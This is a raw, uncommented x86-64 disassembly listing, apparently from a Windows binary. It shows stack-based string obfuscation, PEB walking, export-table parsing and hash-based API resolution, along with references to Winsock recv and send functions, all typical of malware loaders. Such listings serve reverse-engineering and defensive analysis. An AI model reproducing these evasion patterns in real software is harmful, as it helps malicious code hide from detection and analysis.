mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, 0xf9
add al, al
mov edx, 0x4d
sub dl, al
add r11b, dl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0xfa
mov ecx, 0x27
sub cl, al
add cl, cl
add bl, cl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0xfb
add al, al
mov edx, 0x4f
sub dl, al
add dil, dl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0xfc
mov ecx, 0x28
sub cl, al
add cl, cl
add sil, cl
mov byte [rsp + 0x58], sil
movzx eax, r14b
and al, 0xfd
add al, al
mov edx, 0x51
sub dl, al
add r14b, dl
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0xfe
mov ecx, 0x29
sub cl, al
add cl, cl
add r15b, cl
mov byte [rsp + 0x5a], r15b
mov eax, 0x53
sub al, al
mov byte [rsp + 0x5b], al
lea eax, [r12 + 0x54]
mov byte [rsp + 0x5c], al
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 1
add al, al
mov edx, 0x55
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 2
mov edx, 0x2b
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 3
add al, al
mov edx, 0x57
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
movzx ecx, byte [rsp + 0x60]
movzx eax, cl
and al, 4
mov edx, 0x2c
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x60], cl
movzx edx, byte [rsp + 0x61]
movzx ecx, dl
and cl, 5
add cl, cl
mov eax, 0x59
sub al, cl
add dl, al
mov byte [rsp + 0x61], dl
movzx ecx, byte [rsp + 0x62]
movzx eax, cl
and al, 6
mov edx, 0x2d
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x62], cl
movzx edx, byte [rsp + 0x63]
movzx ecx, dl
and cl, 7
add cl, cl
mov eax, 0x5b
sub al, cl
add dl, al
mov byte [rsp + 0x63], dl
movzx eax, r12b
and al, 8
mov ecx, 0x2e
sub cl, al
add cl, cl
add r12b, cl
mov byte [rsp + 0x64], r12b
movzx edx, byte [rsp + 0x65]
movzx ecx, dl
and cl, 9
add cl, cl
mov eax, 0x5d
sub al, cl
add dl, al
mov byte [rsp + 0x65], dl
mov cl, 0x96
mov dl, 0x90
mov r8b, 0x8b
mov r9b, 0x8f
mov r10b, 0x91
movzx r11d, r10b
mov bl, 0xd6
mov dil, 0x83
mov sil, 0xb7
mov r14b, 0xe9
mov r15b, 0xb3
mov r12b, 0xb5
movzx r13d, r12b
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x79], rax
mov dword [rbp - 0x71], eax
movzx eax, cl
and al, 0xd8
add al, al
mov dword [rbp - 0x48], 0xf0
sub byte [rbp - 0x48], al
add cl, byte [rbp - 0x48]
mov byte [rsp + 0x70], cl
movzx eax, dl
and al, 0xd9
add al, al
mov ecx, 0xf1
sub cl, al
add dl, cl
mov byte [rsp + 0x71], dl
movzx eax, r8b
and al, 0xda
add al, al
mov edx, 0xf2
sub dl, al
add r8b, dl
mov byte [rsp + 0x72], r8b
movzx eax, r9b
and al, 0xdb
add al, al
mov edx, 0xf3
sub dl, al
add r9b, dl
mov byte [rsp + 0x73], r9b
movzx eax, r10b
and al, 0xdc
add al, al
mov edx, 0xf4
sub dl, al
add r10b, dl
mov byte [rsp + 0x74], r10b
movzx eax, r11b
and al, 0xdd
add al, al
mov edx, 0xf5
sub dl, al
add r11b, dl
mov byte [rsp + 0x75], r11b
movzx eax, bl
and al, 0xde
add al, al
mov edx, 0xf6
sub dl, al
add bl, dl
mov byte [rsp + 0x76], bl
movzx eax, dil
and al, 0xdf
add al, al
mov edx, 0xf7
sub dl, al
add dil, dl
mov byte [rsp + 0x77], dil
movzx eax, sil
and al, 0xe0
add al, al
mov edx, 0xf8
sub dl, al
add sil, dl
mov byte [rsp + 0x78], sil
movzx eax, r14b
and al, 0xe1
add al, al
mov ecx, 0xf9
sub cl, al
add r14b, cl
mov byte [rsp + 0x79], r14b
movzx eax, r15b
and al, 0xe2
add al, al
mov edx, 0xfa
sub dl, al
add r15b, dl
mov byte [rsp + 0x7a], r15b
movzx ecx, r12b
and cl, 0xe3
add cl, cl
mov eax, 0xfb
sub al, cl
add r12b, al
mov byte [rsp + 0x7b], r12b
movzx ecx, r13b
and cl, 0xe4
add cl, cl
mov eax, 0xfc
sub al, cl
add r13b, al
mov byte [rsp + 0x7c], r13b
mov dl, 0xb9
movzx ecx, dl
and cl, 0xe5
add cl, cl
mov eax, 0xfd
sub al, cl
add dl, al
mov byte [rsp + 0x7d], dl
mov dl, 0xee
movzx ecx, dl
and cl, 0xe6
add cl, cl
mov eax, 0xfe
sub al, cl
add dl, al
mov byte [rsp + 0x7e], dl
mov dl, 0xbc
movzx ecx, dl
and cl, 0xe7
add cl, cl
mov eax, 0xff
sub al, cl
add dl, al
mov byte [rsp + 0x7f], dl
mov dl, 0x89
movzx eax, dl
and al, 0xe8
movzx eax, al
imul ecx, eax, 0xfe
add dl, cl
mov byte [rbp - 0x80], dl
mov cl, 0xb2
movzx eax, cl
and al, 0xe9
add al, al
mov edx, 1
sub dl, al
add cl, dl
mov byte [rbp - 0x7f], cl
mov dl, 0xb6
movzx ecx, dl
and cl, 0xea
add cl, cl
mov r8d, 2
mov eax, r8d
sub al, cl
add dl, al
mov byte [rbp - 0x7e], dl
mov dl, 0xa6
movzx ecx, dl
and cl, 0xeb
add cl, cl
mov r9d, 3
mov eax, r9d
sub al, cl
add dl, al
mov byte [rbp - 0x7d], dl
mov cl, 0xb9
movzx eax, cl
and al, 0xec
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x7c], cl
mov dl, 0xe4
movzx ecx, dl
and cl, 0xed
add cl, cl
mov r10d, 5
mov eax, r10d
sub al, cl
add dl, al
mov byte [rbp - 0x7b], dl
mov cl, 6
movzx eax, cl
and al, 0xee
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x7a], cl
mov r9, qword [rsp + 0x30]
movzx ecx, r9b
and cl, 0xef
add cl, cl
mov r11d, 7
mov eax, r11d
sub al, cl
lea edx, [rax + r9]
mov byte [rbp - 0x79], dl
movzx ecx, byte [rbp - 0x78]
movzx eax, cl
and al, 0xf0
mov edx, 4
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x78], cl
movzx edx, byte [rbp - 0x77]
movzx ecx, dl
and cl, 0xf1
add cl, cl
mov r8d, 9
mov eax, r8d
sub al, cl
add dl, al
mov byte [rbp - 0x77], dl
movzx ecx, byte [rbp - 0x76]
movzx eax, cl
and al, 0xf2
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rbp - 0x76], cl
movzx ecx, byte [rbp - 0x75]
movzx eax, cl
and al, 0xf3
add al, al
mov edx, 0xb
sub dl, al
add cl, dl
mov byte [rbp - 0x75], cl
movzx ecx, byte [rbp - 0x74]
movzx eax, cl
and al, 0xf4
mov edx, 6
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x74], cl
movzx ecx, byte [rbp - 0x73]
movzx eax, cl
and al, 0xf5
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x73], cl
movzx ecx, byte [rbp - 0x72]
movzx eax, cl
and al, 0xf6
sub r11b, al
add r11b, r11b
add cl, r11b
mov byte [rbp - 0x72], cl
movzx eax, r9b
and al, 0xf7
add al, al
mov edx, recvfrom
sub dl, al
lea ecx, [rdx + r9]
mov byte [rbp - 0x71], cl
movzx ecx, byte [rbp - 0x70]
movzx eax, cl
and al, 0xf8
mov edx, 8
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x70], cl
movzx ecx, byte [rbp - 0x6f]
movzx eax, cl
and al, 0xf9
add al, al
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x6f], cl
movzx ecx, byte [rbp - 0x6e]
movzx eax, cl
and al, 0xfa
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x6e], cl
movzx eax, r9b
and al, 0xfb
add al, al
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add r9b, cl
mov byte [rbp - 0x6d], r9b
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
jmp 0x1400132cf
call fcn.14000ea40
nop
lea rcx, [rbp - 0x28]
call fcn.14000ea40
nop
movabs rcx, 0xacff7963fae19fa3
call fcn.14000ecb0
test rax, rax
je 0x140011e20
mov cl, 0xcc
mov dl, 0xca
mov r8b, 0xb8
movzx r9d, cl
mov r10b, 0xc6
mov r11b, reloc.WS2_32.dll_recvfrom
mov bl, 0x41
mov dil, 0x40
mov sil, 0x3c
mov r14b, 0x42
mov r15b, 0xcb
xorps xmm0, xmm0
xor r12d, r12d
movups xmmword [rsp + 0x5c], xmm0
mov word [rsp + 0x6c], r12w
movzx eax, cl
and al, 0xf9
sub byte [rbp - 0x48], al
mov eax, dword [rbp - 0x48]
add al, al
add cl, al
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0xfa
add al, al
mov ecx, 0x2b
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0xfb
mov ecx, 0x16
sub cl, al
add cl, cl
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0xfc
add al, al
mov ecx, 0x2d
sub cl, al
add r9b, cl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, 0xfd
mov ecx, 0x17
sub cl, al
add cl, cl
add r10b, cl
mov byte [rsp + 0x54], r10b
movzx ecx, r11b
and cl, 0xfe
add cl, cl
mov eax, 0x2f
sub al, cl
add r11b, al
mov byte [rsp + 0x55], r11b
mov eax, 0x30
sub al, r15b
mov byte [rsp + 0x56], al
add bl, 0x31
mov byte [rsp + 0x57], bl
movzx eax, dil
and al, 1
mov ecx, 0x19
sub cl, al
add cl, cl
add dil, cl
mov byte [rsp + 0x58], dil
movzx ecx, sil
and cl, 2
add cl, cl
mov eax, 0x33
sub al, cl
add sil, al
mov byte [rsp + 0x59], sil
movzx eax, r14b
and al, 3
mov ecx, 0x1a
sub cl, al
add cl, cl
add r14b, cl
mov byte [rsp + 0x5a], r14b
movzx eax, r15b
and al, 4
add al, al
mov ecx, 0x35
sub cl, al
add r15b, cl
mov byte [rsp + 0x5b], r15b
movd edx, xmm0
movzx eax, dl
and al, 5
mov ecx, 0x1b
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x5c], dl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 6
add al, al
mov edx, 0x37
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
movzx edx, byte [rsp + 0x5e]
movzx eax, dl
and al, 7
mov ecx, 0x1c
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x5e], dl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 8
add al, al
mov edx, 0x39
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
movzx edx, byte [rsp + 0x60]
movzx eax, dl
and al, 9
mov ecx, 0x1d
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x60], dl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0xa
add al, al
mov edx, 0x3b
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
movzx edx, byte [rsp + 0x62]
movzx eax, dl
and al, 0xb
mov ecx, 0x1e
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x62], dl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0xc
add al, al
mov edx, 0x3d
sub dl, al
add cl, dl
mov byte [rsp + 0x63], cl
movzx ecx, byte [rsp + 0x64]
movzx eax, cl
and al, 0xd
mov edx, 0x1f
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0xe
add al, al
mov edx, 0x3f
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0xf
mov edx, 0x20
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x66], cl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0x10
add al, al
mov edx, 0x41
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
movzx ecx, byte [rsp + 0x68]
movzx eax, cl
and al, 0x11
mov edx, 0x21
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 0x12
add al, al
mov edx, 0x43
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 0x13
mov edx, 0x22
sub dl, al
add dl, dl
add cl, dl
mov byte [rsp + 0x6a], cl
movzx ecx, byte [rsp + 0x6b]
movzx eax, cl
and al, 0x14
add al, al
mov edx, 0x45
sub dl, al
add cl, dl
mov byte [rsp + 0x6b], cl
movzx eax, r12b
and al, 0x15
mov ecx, 0x23
sub cl, al
add cl, cl
add r12b, cl
mov byte [rsp + 0x6c], r12b
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
and al, 0x16
add al, al
mov edx, 0x47
sub dl, al
add cl, dl
mov byte [rsp + 0x6d], cl
mov dword [rsp + 0x70], 0x39380ce3
mov dword [rsp + 0x74], 0x9f6353b
mov dword [rsp + 0x78], 0x8f20709
mov dword [rsp + 0x7c], 0x320a3838
mov dword [rbp - 0x80], 0xd4dbd0fc
mov dword [rbp - 0x7c], 0xe71930f8
mov dword [rbp - 0x78], 0x1110181a
mov dword [rbp - 0x74], 0xee251329
mov byte [rbp - 0x70], 0x8c
xor eax, eax
movups xmmword [rbp - 0x6f], xmm0
mov qword [rbp - 0x5f], rax
mov dword [rbp - 0x57], eax
xor r8d, r8d
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x70]
lea edx, [r8 - 0x66]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x36
add dl, cl
mov byte [rsp + r8 + 0x70], dl
inc r8
cmp r8, 0x3d
jb 0x140011de0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
xor ecx, ecx
call r13
jmp 0x1400132da
mov r14d, edi
mov esi, 0x4b87db20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14001203a
cmp word [rax + 0x48], 0
je 0x14001203a
mov ecx, dword [rax + 0x58]
sub cx, 8
test r14d, r14d
je 0x140011eb3
mov r9, qword [rax + 0x60]
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0xe8d7c64a
cmp r9, rbx
je 0x140011eaa
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140011e80
cmp r10d, r14d
jne 0x14001203a
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
shr r12, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x14001203a
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14001203a
mov r13d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [rbx*2]
add rcx, r13
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov qword [rbp - 0x50], rdx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rdx, rdi
jbe 0x140011f2f
lea rcx, [rdi + r12]
cmp rdx, rcx
jae 0x140011f2f
mov r15b, 1
jmp 0x140011f32
xor r15b, r15b
mov r10d, 0xe8d7c64a
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140011f7f
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011f50
mov rdx, qword [rbp - 0x50]
cmp r10d, esi
je 0x140011f9c
test ebx, ebx
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140011ef0
mov rax, qword [rax]
jmp 0x140011e40
test r15b, r15b
je 0x140012042
mov esi, 0xe8d7c64a
mov r14d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x140011feb
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140011fc0
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x140012029
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x140012000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140011e40
mov dl, 0x96
mov r8b, 0x88
mov r9b, 0x81
mov r10b, 0x82
mov r11b, 0x9d
mov bl, 0x8f
mov dil, 0x43
mov sil, 0x80
mov r14b, 0x8a
mov r15b, 0xf9
mov r12b, 0x70
xor r13d, r13d
mov qword [rbp - 0x1d], r13
mov word [rbp - 0x15], r13w
movzx ecx, dl
and cl, 0x2f
add cl, cl
mov eax, 0xe6
sub al, cl
add dl, al
mov byte [rbp - 0x28], dl
movzx ecx, r8b
and cl, 0x30
add cl, cl
mov eax, 0xe7
sub al, cl
add r8b, al
mov byte [rbp - 0x27], r8b
movzx ecx, r9b
and cl, 0x31
add cl, cl
mov eax, 0xe8
sub al, cl
add r9b, al
mov byte [rbp - 0x26], r9b
movzx ecx, r10b
and cl, 0x32
add cl, cl
mov eax, 0xe9
sub al, cl
add r10b, al
mov byte [rbp - 0x25], r10b
movzx ecx, r11b
and cl, 0x33
add cl, cl
mov eax, 0xea
sub al, cl
add r11b, al
mov byte [rbp - 0x24], r11b
movzx ecx, bl
and cl, 0x34
add cl, cl
mov eax, 0xeb
sub al, cl
add bl, al
mov byte [rbp - 0x23], bl
movzx ecx, dil
and cl, 0x35
add cl, cl
mov eax, 0xec
sub al, cl
add dil, al
mov byte [rbp - 0x22], dil
movzx ecx, sil
and cl, 0x36
add cl, cl
mov eax, 0xed
sub al, cl
add sil, al
mov byte [rbp - 0x21], sil
movzx ecx, r14b
and cl, 0x37
add cl, cl
mov eax, 0xee
sub al, cl
add r14b, al
mov byte [rbp - 0x20], r14b
movzx ecx, r15b
and cl, 0x38
add cl, cl
mov eax, 0xef
sub al, cl
add r15b, al
mov byte [rbp - 0x1f], r15b
movzx eax, r12b
and al, 0x39
add al, al
mov ecx, 0xf0
sub cl, al
add r12b, cl
mov byte [rbp - 0x1e], r12b
movzx eax, r13b
and al, 0x3a
add al, al
mov edx, 0xf1
sub dl, al
lea ecx, [rdx + r13]
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x3b
add al, al
mov edx, 0xf2
sub dl, al
add cl, dl
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x3c
add al, al
mov edx, 0xf3
sub dl, al
add cl, dl
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0x3d
add al, al
mov edx, 0xf4
sub dl, al
add cl, dl
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0x3e
add al, al
mov edx, 0xf5
sub dl, al
add cl, dl
mov byte [rbp - 0x19], cl
movzx ecx, byte [rbp - 0x18]
movzx eax, cl
and al, 0x3f
add al, al
mov edx, 0xf6
sub dl, al
add cl, dl
mov byte [rbp - 0x18], cl
movzx ecx, byte [rbp - 0x17]
movzx eax, cl
and al, 0x40
add al, al
mov edx, 0xf7
sub dl, al
add cl, dl
mov byte [rbp - 0x17], cl
movzx ecx, byte [rbp - 0x16]
movzx eax, cl
and al, 0x41
add al, al
mov edx, 0xf8
sub dl, al
add cl, dl
mov byte [rbp - 0x16], cl
movzx eax, r13b
and al, 0x42
add al, al
mov ecx, 0xf9
sub cl, al
add r13b, cl
mov byte [rbp - 0x15], r13b
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0x43
add al, al
mov edx, 0xfa
sub dl, al
add cl, dl
mov byte [rbp - 0x14], cl
lea r8, [rbp - 0x28]
xor edx, edx
mov ecx, 0x1f0001
call qword [rbp - 0x50]
test rax, rax
jne 0x1400132da
mov r14d, 0xc979a442
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor r10d, r10d
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
test rbx, rbx
je 0x140012469
cmp word [rax + 0x48], 0
je 0x140012469
mov ecx, dword [rax + 0x58]
sub cx, 8
test r10d, r10d
je 0x1400122f3
mov r9, qword [rax + 0x60]
movzx ecx, cx
shr rcx, 1
lea rdi, [r9 + rcx*2]
mov r11d, 0x44b21cc8
cmp r9, rdi
je 0x1400122ea
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r11d
imul r11d, r8d, 0x1000193
add r9, 2
cmp r9, rdi
jne 0x1400122c0
cmp r11d, r10d
jne 0x140012469
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r12, rdx
shr r12, 0x20
mov esi, edx
add rsi, rbx
cmp rsi, rbx
je 0x140012469
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x140012469
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r11d, dword [rsi + 0x20]
nop word [rax + rax]
dec edi
lea rcx, [rcx + rdi*2]
movzx edx, word [rcx + rbx]
lea rcx, [rbx + rdx*4]
mov r13d, dword [rcx + r9]
add r13, rbx
lea rcx, [rbx + rdi*4]
mov r9d, dword [rcx + r11]
add r9, rbx
cmp r13, rsi
jbe 0x140012363
lea rcx, [rsi + r12]
cmp r13, rcx
jae 0x140012363
mov r15b, 1
jmp 0x140012366
xor r15b, r15b
mov r11d, 0x44b21cc8
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x1400123aa
nop word [rax + rax]
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r11d
imul r11d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140012380
cmp r11d, r14d
je 0x1400123ca
test edi, edi
mov ecx, dword [rsi + 0x24]
mov r9d, dword [rsi + 0x1c]
mov r11d, dword [rsi + 0x20]
jne 0x140012330
mov rax, qword [rax]
jmp 0x140012280
test r15b, r15b
je 0x140012471
mov r10d, 0x44b21cc8
mov r14d, r10d
movzx edx, byte [r13]
cmp dl, 0x2e
je 0x140012418
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r10d
imul r10d, ecx, 0x1000193
inc r13
movzx edx, byte [r13]
cmp dl, 0x2e
jne 0x1400123f0
inc r13
movzx edx, byte [r13]
test dl, dl
je 0x140012458
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea r13, [r13 + 1]
movzx edx, byte [r13]
test dl, dl
jne 0x140012430
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140012280
mov cl, 0xdc
mov dl, 0xde
mov r8b, 0xd9
mov r9b, 0xd8
mov r10b, 0xe5
mov r11b, 0xd7
mov bl, 0x9b
mov dil, 0xda
mov sil, 0xd0
mov r14b, 0xcd
mov r15b, 0x3a
xorps xmm0, xmm0
xor r12d, r12d
movups xmmword [rsp + 0x5b], xmm0
mov dword [rsp + 0x6b], r12d
movzx eax, cl
and al, 0x36
add al, al
mov dword [rbp - 0x48], 0xbc
sub byte [rbp - 0x48], al
add cl, byte [rbp - 0x48]
mov byte [rsp + 0x50], cl
movzx eax, dl
and al, 0x37
add al, al
mov ecx, 0xbd
sub cl, al
add dl, cl
mov byte [rsp + 0x51], dl
movzx eax, r8b
and al, 0x38
add al, al
mov ecx, 0xbe
sub cl, al
add r8b, cl
mov byte [rsp + 0x52], r8b
movzx eax, r9b
and al, 0x39
add al, al
mov ecx, 0xbf
sub cl, al
add r9b, cl
mov byte [rsp + 0x53], r9b
movzx eax, r10b
and al, r15b
add al, al
mov ecx, 0xc0
sub cl, al
add r10b, cl
mov byte [rsp + 0x54], r10b
movzx eax, r11b
and al, 0x3b
add al, al
mov ecx, 0xc1
sub cl, al
add r11b, cl
mov byte [rsp + 0x55], r11b
movzx eax, bl
and al, 0x3c
add al, al
mov ecx, 0xc2
sub cl, al
add bl, cl
mov byte [rsp + 0x56], bl
movzx eax, dil
and al, 0x3d
add al, al
mov ecx, 0xc3
sub cl, al
add dil, cl
mov byte [rsp + 0x57], dil
movzx eax, sil
and al, 0x3e
add al, al
mov ecx, 0xc4
sub cl, al
add sil, cl
mov byte [rsp + 0x58], sil
movzx eax, r14b
and al, 0x3f
add al, al
mov ecx, 0xc5
sub cl, al
add r14b, cl
mov byte [rsp + 0x59], r14b
movzx eax, r15b
and al, 0x40
add al, al
mov ecx, 0xc6
sub cl, al
add r15b, cl
mov byte [rsp + 0x5a], r15b
movd ecx, xmm0
movzx eax, cl
and al, 0x41
add al, al
mov edx, 0xc7
sub dl, al
add cl, dl
mov byte [rsp + 0x5b], cl
movzx ecx, byte [rsp + 0x5c]
movzx eax, cl
and al, 0x42
add al, al
mov edx, 0xc8
sub dl, al
add cl, dl
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0x43
add al, al
mov edx, 0xc9
sub dl, al
add cl, dl
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 0x44
add al, al
mov edx, 0xca
sub dl, al
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0x45
add al, al
mov edx, 0xcb
sub dl, al
add cl, dl
mov byte [rsp + 0x5f], cl
movzx ecx, byte [rsp + 0x60]
movzx eax, cl
and al, 0x46
add al, al
mov edx, 0xcc
sub dl, al
add cl, dl
mov byte [rsp + 0x60], cl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0x47
add al, al
mov edx, 0xcd
sub dl, al
add cl, dl
mov byte [rsp + 0x61], cl
movzx ecx, byte [rsp + 0x62]
movzx eax, cl
and al, 0x48
add al, al
mov edx, 0xce
sub dl, al
add cl, dl
mov byte [rsp + 0x62], cl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0x49
add al, al
mov edx, 0xcf
sub dl, al
add cl, dl
mov byte [rsp + 0x63], cl
movzx ecx, byte [rsp + 0x64]
movzx eax, cl
and al, 0x4a
add al, al
mov edx, 0xd0
sub dl, al
add cl, dl
mov byte [rsp + 0x64], cl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0x4b
add al, al
mov edx, 0xd1
sub dl, al
add cl, dl
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0x4c
add al, al
mov edx, 0xd2
sub dl, al
add cl, dl
mov byte [rsp + 0x66], cl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0x4d
add al, al
mov edx, 0xd3
sub dl, al
add cl, dl
mov byte [rsp + 0x67], cl
movzx ecx, byte [rsp + 0x68]
movzx eax, cl
and al, 0x4e
add al, al
mov edx, 0xd4
sub dl, al
add cl, dl
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x69]
movzx eax, cl
and al, 0x4f
add al, al
mov edx, 0xd5
sub dl, al
add cl, dl
mov byte [rsp + 0x69], cl
movzx ecx, byte [rsp + 0x6a]
movzx eax, cl
and al, 0x50
add al, al
mov edx, 0xd6
sub dl, al
add cl, dl
mov byte [rsp + 0x6a], cl
movzx eax, r12b
and al, 0x51
add al, al
mov edx, 0xd7
sub dl, al
add r12b, dl
mov byte [rsp + 0x6b], r12b
movzx ecx, byte [rsp + 0x6c]
movzx eax, cl
and al, 0x52
add al, al
mov edx, 0xd8
sub dl, al
add cl, dl
mov byte [rsp + 0x6c], cl
movzx ecx, byte [rsp + 0x6d]
movzx eax, cl
and al, 0x53
add al, al
mov edx, 0xd9
sub dl, al
add cl, dl
mov byte [rsp + 0x6d], cl
